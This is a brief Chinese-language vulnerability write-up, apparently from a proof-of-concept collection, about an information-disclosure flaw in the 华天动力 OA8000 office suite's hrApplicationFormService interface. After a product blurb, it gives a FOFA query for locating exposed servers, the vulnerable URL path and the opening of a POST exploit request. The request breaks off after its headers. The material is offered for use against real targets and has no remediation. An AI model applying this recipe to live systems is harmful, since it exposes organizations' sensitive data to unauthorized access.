产品简介
华天动力OA是一个以技术领先著称的协同软件产品,拥有领先业界的三大核心技术:协同平台、工作流和智能报表,是业内唯一实现协同工具软件、协同应用软件、协同平台融合的协同软件产品,也是业内唯一所有版本统一平台、统一服务、统一升级的协同软件产品。
漏洞描述
由于华天动力OA的hrApplicationFormService接口权限设置不当,可以通过构造特殊请求的方式获取系统敏感信息。
复现环境
fofa:app=”华天动力-OA8000”
漏洞复现
http://your-ip/OAapp/bfapp/buffalo/hrApplicationFormService
POC
POST /OAapp/bfapp/buffalo/hrApplicationFormService HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox